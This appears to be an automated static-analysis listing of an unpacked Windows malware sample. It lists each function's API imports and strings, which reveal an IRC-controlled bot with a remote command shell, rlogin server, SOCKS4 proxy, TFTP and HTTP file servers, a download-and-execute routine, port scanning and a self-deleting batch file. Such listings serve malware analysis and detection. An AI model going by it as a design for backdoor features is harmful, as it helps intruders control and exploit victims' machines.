sub_outside():
	KERNEL32.GetTickCount
	KERNEL32.GetComputerNameA
	KERNEL32.GetLocaleInfoA
	KERNEL32.GetVersionExA
	WS2_32.socket
	WS2_32.inet_addr
	WS2_32.ntohs
	WS2_32.connect
	WS2_32.send
	KERNEL32.Sleep
	WS2_32.closesocket
	WSOCK32.recv
	NTDLL.RtlFreeHeap
	NTDLL.RtlReAllocateHeap
	KERNEL32.GetModuleHandleA
	KERNEL32.GetCommandLineA
	KERNEL32.GetStartupInfoA
	KERNEL32.ExitProcess
	NTDLL.RtlDeleteCriticalSection
	KERNEL32.InitializeCriticalSection

sub_405915(0054):
	KERNEL32.GetTempPathA
	KERNEL32.CreateFileA
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetFileAttributesA
	KERNEL32.SetFileAttributesA
	KERNEL32.ExpandEnvironmentStringsA
	KERNEL32.CreateProcessA

	"%sdel.bat"
	"@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
	"%%comspec%% /c %s	%s"

sub_41CDB8(0126):
	KERNEL32.SetUnhandledExceptionFilter

sub_410086(0178):
	WININET.InternetGetConnectedStateExA

	"[NETINFO]: [Type]: %s	(%s). [IP Address"...

sub_41C9FD(029e):
	KERNEL32.GetModuleFileNameA

	"Unknown security	failure	detected!"
	"A security error of unknown cause has b"...
	"Buffer overrun detected!"
	"A buffer overrun has been detected whic"...
	""
	"..."
	"\n\n"
	"Microsoft Visual C++ Runtime Library"

sub_40E219(044f):
	WS2_32.WSAStartup
	KERNEL32.SetConsoleCtrlHandler
	NTDLL.RtlGetLastWin32Error
	WS2_32.WSACleanup
	WS2_32.ntohs
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WSOCK32.setsockopt
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
	WS2_32.accept
	WS2_32.WSAGetLastError
	WS2_32.closesocket
	KERNEL32.ExitThread

	"[RLOGIND]: Error: WSAStartup(): <%d>."
	"[RLOGIND]: Failed to install control-C "...
	"[RLOGIND]: Ready and waiting for incomi"...
	"[RLOGIND]: Client connection from IP:	%"...
	"[RLOGIND]: Failed to start client threa"...
	"[RLOGIND]: Error: server failed, return"...

sub_41CDA5(088b):
	KERNEL32.SetUnhandledExceptionFilter

sub_41BFAD(09aa):
	KERNEL32.CreateFileA
	KERNEL32.GetFileType
	KERNEL32.CloseHandle
	NTDLL.RtlGetLastWin32Error

sub_4030C4(0afd):
	WS2_32.send
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA
	KERNEL32.FileTimeToLocalFileTime
	KERNEL32.FileTimeToSystemTime
	KERNEL32.Sleep
	KERNEL32.FindClose

	"\n"
	"PRIVMSG %s :Searching	for: %s\r\n"
	"\r\n\r\nIndex of %s</TIT"...
	"<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
	"<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
	"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
	"<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
	".."
	"."
	"PM"
	"AM"
	"%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
	"<%s>"
	"PRIVMSG %s :%-31s  %-21s\n"
	"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
	"%s%s/"
	"\"><CODE>%.29s>/</CODE></A>"
	"\"><CODE>%s/</CODE></A>"
	"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
	"<%s>"
	"%-31s  %-21s\r\n"
	"PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
	"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
	"%s%s"
	"\"><CODE>%.30s></CODE></A>"
	"\"><CODE>%s</CODE></A>"
	"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
	"%-31s  %-21s (%i bytes)\r\n"
	"PRIVMSG %s :Found %s Files and %s Direc"...
	"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
	"Found: %i Files and %i Directories\r\n"
</font></pre></td></tr><tr id="sub_40F8FA"><td><pre><a name="sub_40F8FA"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40F8FA"><font size=+2>sub_40F8FA</a>(0d23)</font>:<font color=darkgreen>
	WS2_32.select
	WSOCK32.recv
	WS2_32.send
	WS2_32.closesocket
	WS2_32.socket
	WS2_32.WSAGetLastError
	WS2_32.connect
	KERNEL32.ExitThread</font>
<font color=brown>
	"[SOCKS4]: Authentication failed. Remote"...
	"[SOCKS4]: Error: Failed to open socket("...
	"[SOCKS4]: Error: Failed to connect to	t"...
</font></pre></td></tr><tr id="sub_410A22"><td><pre><a name="sub_410A22"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_410A22"><font size=+2>sub_410A22</a>(0f1a)</font>:<font color=darkgreen>
	WS2_32.socket
	KERNEL32.Sleep
	WS2_32.WSAGetLastError
	WS2_32.ntohs
	WS2_32.bind
	WS2_32.select
	WSOCK32.recvfrom
	WS2_32.inet_ntoa
	WS2_32.sendto
	WS2_32.closesocket
	KERNEL32.ExitThread</font>
<font color=brown>
	"octet"
	"[TFTP]: Error: socket() failed, returne"...
	"[TFTP]: Failed to open file: %s."
	"[TFTP]: File transfer	started	to IP: %s"...
	"[TFTP]: File not found: %s (%s)."
	"[TFTP]: File transfer	complete to IP:	%"...
</font></pre></td></tr><tr id="sub_40FB2A"><td><pre><a name="sub_40FB2A"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40FB2A"><font size=+2>sub_40FB2A</a>(0f67)</font>:<font color=darkgreen>
	WS2_32.ntohs
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.accept
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep
	WS2_32.closesocket
	KERNEL32.ExitThread</font>
<font color=brown>
	"[SOCKS4]: Server started on: %s:%d."
	"[SOCKS4]: Client connection from IP: %s"...
	"[SOCKS4]: Failed to start client thread"...
	"[SOCKS4]: Failed to start server on Por"...
</font></pre></td></tr><tr id="sub_4073FB"><td><pre><a name="sub_4073FB"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4073FB"><font size=+2>sub_4073FB</a>(1017)</font>:<font color=darkgreen>
	KERNEL32.ExitThread</font>
<font color=brown>
	"[PROC]: Listing processes:"
	"[PROC]: Process list completed."
	"[PROC]: Process list failed."
</font></pre></td></tr><tr id="sub_41B81F"><td><pre><a name="sub_41B81F"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41B81F"><font size=+2>sub_41B81F</a>(10cf)</font>:<font color=darkgreen>
	NTDLL.RtlLeaveCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_40DDC6"><td><pre><a name="sub_40DDC6"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40DDC6"><font size=+2>sub_40DDC6</a>(10e2)</font>:<font color=darkgreen>
	KERNEL32.SearchPathA
	KERNEL32.CreatePipe
	KERNEL32.GetCurrentProcess
	KERNEL32.DuplicateHandle
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown>
	"cmd.exe"
	"[CMD]: Remote	Command	Prompt"
	"[CMD]: Failed	to start IO thread, error"...
</font></pre></td></tr><tr id="sub_416D74"><td><pre><a name="sub_416D74"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_416D74"><font size=+2>sub_416D74</a>(128c)</font>:<font color=darkgreen>
	KERNEL32.VirtualAlloc</font>
<font color=brown></font></pre></td></tr><tr id="sub_419BC9"><td><pre><a name="sub_419BC9"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_419BC9"><font size=+2>sub_419BC9</a>(1387)</font>:<font color=darkgreen>
	KERNEL32.SetFilePointer
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_40DB6D"><td><pre><a name="sub_40DB6D"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40DB6D"><font size=+2>sub_40DB6D</a>(1793)</font>:<font color=darkgreen>
	KERNEL32.WriteFile</font>
<font color=brown></font></pre></td></tr><tr id="sub_41A5BE"><td><pre><a name="sub_41A5BE"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41A5BE"><font size=+2>sub_41A5BE</a>(179c)</font>:<font color=darkgreen>
	KERNEL32.GetStartupInfoA
	KERNEL32.GetFileType
	KERNEL32.GetStdHandle
	KERNEL32.SetHandleCount</font>
<font color=brown></font></pre></td></tr><tr id="sub_4134AF"><td><pre><a name="sub_4134AF"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4134AF"><font size=+2>sub_4134AF</a>(1ade)</font>:<font color=darkgreen>
	KERNEL32.GetFileAttributesA
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_401F06"><td><pre><a name="sub_401F06"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_401F06"><font size=+2>sub_401F06</a>(1c10)</font>:<font color=darkgreen>
	WININET.InternetOpenUrlA
	KERNEL32.CreateFileA
	KERNEL32.GetTickCount
	WININET.InternetReadFile
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.CreateProcessA
	WS2_32.WSACleanup
	KERNEL32.ExitProcess
	WININET.InternetCloseHandle
	KERNEL32.ExitThread</font>
<font color=brown>
	"[DOWNLOAD]: Couldn't open file: %s."
	"[DOWNLOAD]: File download: %s	(%dKB tra"...
	"[DOWNLOAD]: Update: %s (%dKB transferre"...
	"[DOWNLOAD]: Filesize is incorrect: (%d "...
	"[DOWNLOAD]: Downloaded %.1f KB to %s @ "...
	"[DOWNLOAD]: Openning:	%s %s."
	" "
	"[DOWNLOAD]: Application succesfully exe"...
	"[DOWNLOAD]: Execution	failed:	Error exe"...
	"[DOWNLOAD]: Downloaded %.1fKB	to %s @	%"...
	"[DOWNLOAD]: Update failed: Error execut"...
	"[DOWNLOAD]: Bad URL, or DNS Error: %s."
</font></pre></td></tr><tr id="sub_41945D"><td><pre><a name="sub_41945D"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41945D"><font size=+2>sub_41945D</a>(219a)</font>:<font color=darkgreen>
	KERNEL32.GetOEMCP
	KERNEL32.GetACP</font>
<font color=brown></font></pre></td></tr><tr id="sub_416CBD"><td><pre><a name="sub_416CBD"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_416CBD"><font size=+2>sub_416CBD</a>(2299)</font>:<font color=darkgreen>
	NTDLL.RtlReAllocateHeap
	NTDLL.RtlAllocateHeap
	KERNEL32.VirtualAlloc
	NTDLL.RtlFreeHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_416932"><td><pre><a name="sub_416932"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_416932"><font size=+2>sub_416932</a>(2585)</font>:<font color=darkgreen>
	NTDLL.RtlAllocateHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_40F1E4"><td><pre><a name="sub_40F1E4"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40F1E4"><font size=+2>sub_40F1E4</a>(27f8)</font>:<font color=darkgreen>
	KERNEL32.GenerateConsoleCtrlEvent
	WS2_32.send
	KERNEL32.WriteFile
	WSOCK32.recv</font>
<font color=brown></font></pre></td></tr><tr id="sub_40DF75"><td><pre><a name="sub_40DF75"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40DF75"><font size=+2>sub_40DF75</a>(292d)</font>:<font color=darkgreen>
	WSOCK32.recv</font>
<font color=brown>
	"[RLOGIND]: Protocol string too long."
</font></pre></td></tr><tr id="sub_415456"><td><pre><a name="sub_415456"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_415456"><font size=+2>sub_415456</a>(2998)</font>:<font color=darkgreen>
	NTDLL.RtlGetLastWin32Error
	KERNEL32.TlsGetValue
	KERNEL32.TlsSetValue
	KERNEL32.GetCurrentThreadId
	NTDLL.RtlSetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_411B71"><td><pre><a name="sub_411B71"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_411B71"><font size=+2>sub_411B71</a>(2afc)</font>:<font color=darkgreen>
	WS2_32.ntohs
	WS2_32.send
	WSOCK32.recv
	KERNEL32.Sleep</font>
<font color=brown>
	"\\\\%s\\ipc$"
</font></pre></td></tr><tr id="sub_40E83D"><td><pre><a name="sub_40E83D"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40E83D"><font size=+2>sub_40E83D</a>(2cf0)</font>:<font color=darkgreen>
	WS2_32.ntohs
	WS2_32.socket
	WS2_32.connect
	WS2_32.inet_ntoa
	WS2_32.closesocket</font>
<font color=brown>
	"[SCAN]: IP: %s Port: %d is open."
</font></pre></td></tr><tr id="sub_41A3FA"><td><pre><a name="sub_41A3FA"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41A3FA"><font size=+2>sub_41A3FA</a>(2d8c)</font>:<font color=darkgreen>
	KERNEL32.GetModuleFileNameA</font>
<font color=brown></font></pre></td></tr><tr id="sub_402717"><td><pre><a name="sub_402717"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_402717"><font size=+2>sub_402717</a>(306a)</font>:<font color=darkgreen>
	KERNEL32.GetLogicalDriveStringsA</font>
<font color=brown>
	"A:\\"
</font></pre></td></tr><tr id="sub_417536"><td><pre><a name="sub_417536"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_417536"><font size=+2>sub_417536</a>(327f)</font>:<font color=darkgreen>
	KERNEL32.ReadFile
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_403B4C"><td><pre><a name="sub_403B4C"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_403B4C"><font size=+2>sub_403B4C</a>(32b7)</font>:<font color=darkgreen>
	KERNEL32.GetFileAttributesA
	WS2_32.closesocket
	KERNEL32.CreateFileA
	KERNEL32.GetFileSize
	KERNEL32.CloseHandle
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep</font>
<font color=brown>
	"\\%s"
	"%s"
	"%s%s"
	"\n"
	"*"
	"[HTTPD]: Worker thread of server thread"...
	"[HTTPD]: Failed to start worker thread,"...
</font></pre></td></tr><tr id="sub_405C4B"><td><pre><a name="sub_405C4B"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_405C4B"><font size=+2>sub_405C4B</a>(3362)</font>:<font color=brown>
	"The specified	service	name is	invalid."
	"The requested	control	code is	undefined"...
	"The handle is	invalid."
	"The handle does not have the required	a"...
	"The service binary file could	not be fo"...
	"The service cannot be	stopped	because	o"...
	"The database is locked."
	"A thread could not be	created	for the	s"...
	"The process for the service was started"...
	"The requested	control	code is	not valid"...
	"An instance of the service is	already	r"...
	"The system is	shutting down."
	"An unknown error occurred: <%ld>"
</font></pre></td></tr><tr id="sub_40DBAB"><td><pre><a name="sub_40DBAB"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40DBAB"><font size=+2>sub_40DBAB</a>(33d0)</font>:<font color=darkgreen>
	KERNEL32.Sleep
	WS2_32.send</font>
<font color=brown>
	"PRIVMSG %s	:%s\r"
	"%s"
</font></pre></td></tr><tr id="sub_4154C7"><td><pre><a name="sub_4154C7"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4154C7"><font size=+2>sub_4154C7</a>(33dc)</font>:<font color=darkgreen>
	KERNEL32.TlsAlloc
	KERNEL32.TlsSetValue
	KERNEL32.GetCurrentThreadId</font>
<font color=brown></font></pre></td></tr><tr id="sub_40E4F3"><td><pre><a name="sub_40E4F3"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40E4F3"><font size=+2>sub_40E4F3</a>(3683)</font>:<font color=darkgreen>
	KERNEL32.GetTickCount</font>
<font color=brown></font></pre></td></tr><tr id="sub_406702"><td><pre><a name="sub_406702"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_406702"><font size=+2>sub_406702</a>(37b9)</font>:<font color=brown>
	"[NET]: %s: Error with	share: '%s'. %s"
	"[NET]: %s share:	'%s'."
	"[NET]: %s: No	share specified."
</font></pre></td></tr><tr id="sub_417CF5"><td><pre><a name="sub_417CF5"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_417CF5"><font size=+2>sub_417CF5</a>(3814)</font>:<font color=darkgreen>
	NTDLL.RtlEnterCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_41B7AC"><td><pre><a name="sub_41B7AC"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41B7AC"><font size=+2>sub_41B7AC</a>(39d2)</font>:<font color=darkgreen>
	NTDLL.RtlEnterCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_40FE1F"><td><pre><a name="sub_40FE1F"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40FE1F"><font size=+2>sub_40FE1F</a>(3acf)</font>:<font color=darkgreen>
	KERNEL32.GetVersionExA
	ADVAPI32.GetUserNameA
	WS2_32.inet_addr
	WS2_32.gethostbyaddr
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetDateFormatA
	KERNEL32.GetTimeFormatA
	KERNEL32.GlobalMemoryStatus</font>
<font color=brown>
	"95"
	"NT"
	"98"
	"2K"
	"???"
	"%s (%s)"
	"couldn't resolve host"
	"dd:MMM:yyyy"
	"HH:mm:ss"
	"[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
</font></pre></td></tr><tr id="sub_401BBB"><td><pre><a name="sub_401BBB"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_401BBB"><font size=+2>sub_401BBB</a>(3b21)</font>:<font color=brown>
	"-[Alias List]-"
	"%d. %s = %s"
</font></pre></td></tr><tr id="sub_41AE30"><td><pre><a name="sub_41AE30"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41AE30"><font size=+2>sub_41AE30</a>(3bbd)</font>:<font color=darkgreen>
	KERNEL32.VirtualQuery
	KERNEL32.GetSystemInfo
	KERNEL32.VirtualAlloc
	KERNEL32.VirtualProtect</font>
<font color=brown></font></pre></td></tr><tr id="sub_41D75B"><td><pre><a name="sub_41D75B"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41D75B"><font size=+2>sub_41D75B</a>(3cd4)</font>:<font color=darkgreen>
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcAddress
	USER32.GetProcessWindowStation
	USER32.GetUserObjectInformationA
	USER32.GetActiveWindow
	USER32.GetLastActivePopup
	USER32.MessageBoxA</font>
<font color=brown>
	"user32.dll"
	"MessageBoxA"
	"GetActiveWindow"
	"GetLastActivePopup"
	"GetUserObjectInformationA"
	"GetProcessWindowStation"
</font></pre></td></tr><tr id="sub_4190C6"><td><pre><a name="sub_4190C6"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4190C6"><font size=+2>sub_4190C6</a>(3ffc)</font>:<font color=darkgreen>
	KERNEL32.GetCPInfo</font>
<font color=brown></font></pre></td></tr><tr id="sub_40F3F5"><td><pre><a name="sub_40F3F5"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40F3F5"><font size=+2>sub_40F3F5</a>(409e)</font>:<font color=darkgreen>
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.TerminateThread
	KERNEL32.WaitForMultipleObjects
	KERNEL32.TerminateProcess
	KERNEL32.CloseHandle
	WS2_32.closesocket</font>
<font color=brown>
	"[RLOGIND]: Failed to create ReadShell	s"...
	"[RLOGIND]: Failed to create ReadShell	s"...
	"[RLOGIND]: WaitForMultipleObjects error"...
</font></pre></td></tr><tr id="sub_41ACDB"><td><pre><a name="sub_41ACDB"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41ACDB"><font size=+2>sub_41ACDB</a>(414a)</font>:<font color=darkgreen>
	KERNEL32.MultiByteToWideChar</font>
<font color=brown></font></pre></td></tr><tr id="sub_41B670"><td><pre><a name="sub_41B670"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41B670"><font size=+2>sub_41B670</a>(428c)</font>:<font color=darkgreen>
	KERNEL32.SetStdHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_41A7BC"><td><pre><a name="sub_41A7BC"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41A7BC"><font size=+2>sub_41A7BC</a>(430b)</font>:<font color=darkgreen>
	KERNEL32.WriteFile
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_40779B"><td><pre><a name="sub_40779B"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40779B"><font size=+2>sub_40779B</a>(44de)</font>:<font color=darkgreen>
	WS2_32.socket
	WS2_32.connect
	WS2_32.closesocket
	KERNEL32.Sleep
	WS2_32.ntohs</font>
<font color=brown>
	"[MAIN]: Connected to %s."
</font></pre></td></tr><tr id="sub_41827C"><td><pre><a name="sub_41827C"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41827C"><font size=+2>sub_41827C</a>(4634)</font>:<font color=darkgreen>
	KERNEL32.GetModuleHandleA
	KERNEL32.GetProcAddress</font>
<font color=brown>
	"KERNEL32"
	"IsProcessorFeaturePresent"
</font></pre></td></tr><tr id="sub_41CB90"><td><pre><a name="sub_41CB90"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41CB90"><font size=+2>sub_41CB90</a>(47fe)</font>:<font color=darkgreen>
	KERNEL32.GetCPInfo
	KERNEL32.MultiByteToWideChar
	KERNEL32.WideCharToMultiByte</font>
<font color=brown></font></pre></td></tr><tr id="sub_40DFC0"><td><pre><a name="sub_40DFC0"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40DFC0"><font size=+2>sub_40DFC0</a>(4a84)</font>:<font color=brown>
	"[RLOGIND]: Login rejected, Remote user:"...
</font></pre></td></tr><tr id="sub_406CD9"><td><pre><a name="sub_406CD9"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_406CD9"><font size=+2>sub_406CD9</a>(4c4d)</font>:<font color=darkgreen>
	IPHLPAPI.IcmpCreateFile
	WS2_32.inet_addr
	WS2_32.gethostbyname
	IPHLPAPI.IcmpSendEcho
	IPHLPAPI.IcmpCloseHandle
	KERNEL32.ExitThread</font>
<font color=brown>
	"[PING]: Error	sending	pings to %s."
	"[PING]: Finished sending pings to %s."
</font></pre></td></tr><tr id="sub_4010CA"><td><pre><a name="sub_4010CA"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4010CA"><font size=+2>sub_4010CA</a>(4eaf)</font>:<font color=darkgreen>
	WS2_32.inet_ntoa</font>
<font color=brown>
	"[SCAN]: Current IP: %s."
	"[SCAN]: Scan not active."
</font></pre></td></tr><tr id="sub_40F2F9"><td><pre><a name="sub_40F2F9"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40F2F9"><font size=+2>sub_40F2F9</a>(4ec3)</font>:<font color=darkgreen>
	KERNEL32.CreatePipe
	NTDLL.RtlGetLastWin32Error
	KERNEL32.CloseHandle</font>
<font color=brown>
	"[RLOGIND]: Failed to create shell stdou"...
	"[RLOGIND]: Failed to create shell stdin"...
	"[RLOGIND]: Failed to execute shell."
</font></pre></td></tr><tr id="sub_4166A2"><td><pre><a name="sub_4166A2"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4166A2"><font size=+2>sub_4166A2</a>(4f5e)</font>:<font color=darkgreen>
	NTDLL.RtlEnterCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_4166F4"><td><pre><a name="sub_4166F4"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4166F4"><font size=+2>sub_4166F4</a>(4f5e)</font>:<font color=darkgreen>
	NTDLL.RtlLeaveCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_41B6EC"><td><pre><a name="sub_41B6EC"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41B6EC"><font size=+2>sub_41B6EC</a>(52a1)</font>:<font color=darkgreen>
	KERNEL32.SetStdHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_405F05"><td><pre><a name="sub_405F05"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_405F05"><font size=+2>sub_405F05</a>(52c8)</font>:<font color=darkgreen>
	KERNEL32.MultiByteToWideChar</font>
<font color=brown></font></pre></td></tr><tr id="sub_41CB47"><td><pre><a name="sub_41CB47"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41CB47"><font size=+2>sub_41CB47</a>(5463)</font>:<font color=darkgreen>
	KERNEL32.GetLocaleInfoA</font>
<font color=brown></font></pre></td></tr><tr id="sub_4074C6"><td><pre><a name="sub_4074C6"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4074C6"><font size=+2>sub_4074C6</a>(55bf)</font>:<font color=darkgreen>
	KERNEL32.OpenProcess
	KERNEL32.TerminateProcess
	KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_41AA7A"><td><pre><a name="sub_41AA7A"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41AA7A"><font size=+2>sub_41AA7A</a>(5651)</font>:<font color=darkgreen>
	KERNEL32.WideCharToMultiByte</font>
<font color=brown></font></pre></td></tr><tr id="sub_41CEA6"><td><pre><a name="sub_41CEA6"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41CEA6"><font size=+2>sub_41CEA6</a>(573a)</font>:<font color=darkgreen>
	KERNEL32.RaiseException</font>
<font color=brown></font></pre></td></tr><tr id="sub_41677E"><td><pre><a name="sub_41677E"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41677E"><font size=+2>sub_41677E</a>(5769)</font>:<font color=darkgreen>
	KERNEL32.HeapCreate
	KERNEL32.HeapDestroy</font>
<font color=brown></font></pre></td></tr><tr id="sub_401525"><td><pre><a name="sub_401525"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_401525"><font size=+2>sub_401525</a>(57e7)</font>:<font color=brown>
	"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_4037B8"><td><pre><a name="sub_4037B8"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4037B8"><font size=+2>sub_4037B8</a>(5851)</font>:<font color=darkgreen>
	KERNEL32.CreateFileA
	KERNEL32.GetFileSize
	KERNEL32.SetFilePointer
	KERNEL32.ReadFile
	WS2_32.send
	WS2_32.WSAGetLastError
	KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_41AB01"><td><pre><a name="sub_41AB01"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41AB01"><font size=+2>sub_41AB01</a>(58c9)</font>:<font color=darkgreen>
	NTDLL.RtlAllocateHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_40169B"><td><pre><a name="sub_40169B"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40169B"><font size=+2>sub_40169B</a>(5974)</font>:<font color=darkgreen>
	KERNEL32.GetTickCount
	WS2_32.inet_ntoa
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.Sleep
	KERNEL32.ExitThread</font>
<font color=brown>
	"[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
	"[SCAN]: IP: %s, Port %d is open."
	"webdav"
</font></pre></td></tr><tr id="sub_40F023"><td><pre><a name="sub_40F023"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40F023"><font size=+2>sub_40F023</a>(5a9c)</font>:<font color=darkgreen>
	KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_4024F5"><td><pre><a name="sub_4024F5"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4024F5"><font size=+2>sub_4024F5</a>(5b85)</font>:<font color=darkgreen>
	KERNEL32.GetDiskFreeSpaceExA</font>
<font color=brown></font></pre></td></tr><tr id="sub_402A8B"><td><pre><a name="sub_402A8B"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_402A8B"><font size=+2>sub_402A8B</a>(5bb5)</font>:<font color=darkgreen>
	KERNEL32.GetModuleFileNameA
	KERNEL32.Sleep</font>
<font color=brown></font></pre></td></tr><tr id="sub_416818"><td><pre><a name="sub_416818"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_416818"><font size=+2>sub_416818</a>(5be9)</font>:<font color=darkgreen>
	NTDLL.RtlDeleteCriticalSection</font>
